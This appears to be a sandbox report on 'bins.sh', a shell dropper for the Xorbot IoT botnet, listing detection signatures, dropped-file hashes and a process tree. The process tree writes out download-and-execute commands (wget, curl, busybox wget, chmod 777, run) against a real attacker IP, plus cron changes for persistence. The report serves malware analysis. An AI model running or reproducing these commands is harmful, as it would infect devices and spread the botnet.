Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/01/2025, 17:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250114-v1eb5stphw
  • SHA256 a25d77dc893bbd83704cf81a9a866ac2da5d3cc2dd0a6f86ae35d9726b4196a3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:669
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:675
        • /usr/bin/wget
          wget http://94.154.35.94/bins/DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
          • Writes file to tmp directory
          PID:677
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:692
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
          • Writes file to tmp directory
          PID:700
        • /bin/chmod
          chmod 777 DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
          • File and Directory Permissions Modification
          PID:701
        • /tmp/DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          ./DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
          • Executes dropped EXE
          PID:702
        • /bin/rm
          rm DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
          2⤵
            PID:704
          • /usr/bin/wget
            wget http://94.154.35.94/bins/h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
            • Writes file to tmp directory
            PID:705
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:706
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
            • Writes file to tmp directory
            PID:713
          • /bin/chmod
            chmod 777 h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
            • File and Directory Permissions Modification
            PID:721
          • /tmp/h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            ./h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
            • Executes dropped EXE
            PID:723
          • /bin/rm
            rm h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
            2⤵
              PID:725
            • /usr/bin/wget
              wget http://94.154.35.94/bins/QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
              • Writes file to tmp directory
              PID:726
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:731
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
              • Writes file to tmp directory
              PID:738
            • /bin/chmod
              chmod 777 QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              ./QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
              • Executes dropped EXE
              PID:743
            • /bin/rm
              rm QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://94.154.35.94/bins/tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:754
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                • Writes file to tmp directory
                PID:764
              • /bin/chmod
                chmod 777 tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                • File and Directory Permissions Modification
                PID:767
              • /tmp/tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                ./tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                • Executes dropped EXE
                PID:769
              • /bin/rm
                rm tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                2⤵
                  PID:771
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                  • Writes file to tmp directory
                  PID:772
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:775
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /bin/chmod
                  chmod 777 LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                  • File and Directory Permissions Modification
                  PID:796
                • /tmp/LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  ./LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                  • Executes dropped EXE
                  PID:797
                • /bin/rm
                  rm LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                    • Writes file to tmp directory
                    PID:804
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:809
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /bin/chmod
                    chmod 777 aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                    • File and Directory Permissions Modification
                    PID:819
                  • /tmp/aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    ./aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                    • Executes dropped EXE
                    PID:820
                  • /bin/rm
                    rm aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                    2⤵
                      PID:822
                    • /usr/bin/wget
                      wget http://94.154.35.94/bins/nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                      • Writes file to tmp directory
                      PID:823
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:824
                    • /bin/busybox
                      /bin/busybox wget http://94.154.35.94/bins/nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                      • Writes file to tmp directory
                      PID:825
                    • /bin/chmod
                      chmod 777 nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                      • File and Directory Permissions Modification
                      PID:826
                    • /tmp/nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      ./nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                      • Executes dropped EXE
                      PID:827
                    • /bin/rm
                      rm nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                      2⤵
                        PID:829
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        2⤵
                        • Writes file to tmp directory
                        PID:830
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:831
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        2⤵
                        • Writes file to tmp directory
                        PID:832
                      • /bin/chmod
                        chmod 777 1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        2⤵
                        • File and Directory Permissions Modification
                        PID:833
                      • /tmp/1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        ./1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:834
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:836
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:837
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:838
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:839
                          • /bin/rm
                            rm 1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                            2⤵
                              PID:842
                            • /usr/bin/wget
                              wget http://94.154.35.94/bins/ti5Hncn9MkVXnBEh8HF5TXO4SWYC3kf7Xz
                              2⤵
                                PID:844

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                                  • Path /tmp/1EdrfNdzaNZywNpOnRq5BrHCh9rvjbO354
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
                                  • Path /tmp/DIrRgPSjElL0V5N4TTPZVBMCQDGDSkPzJw
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                                  • Path /tmp/LjfypoaYe7ay9BmPkkxw8CRDeECKIvgNRi
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
                                  • Path /tmp/QpmxGwOSzvQokvVIhbPEVgzdhN8aYELchx
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                                  • Path /tmp/aCFtfPcuS6JvIaYg0dvVKiEXhpO8aCBN8A
                                  • Size 111KB
                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
                                  • Path /tmp/h0WH5gKxalNQphDqLp0RBq3yXNP9T6uOfv
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                                  • Path /tmp/nHArVNiStWEfO6lMHokL2aYAQplzS2KTvg
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                                  • Path /tmp/tKWjmhQcjQThH8GbRMNMu9SgQpgMCaKvpp
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.uEHF2u
                                  • Path /var/spool/cron/crontabs/tmp.uEHF2u
                                  • Size 210B
                                  • SHA256 a5db4a219c95c1c145fbe991374775ba8f9fbf7cc2f4039484a4c1dadd47fe9b
                                  • MD5 SHA1 SHA512
                                  Submit Download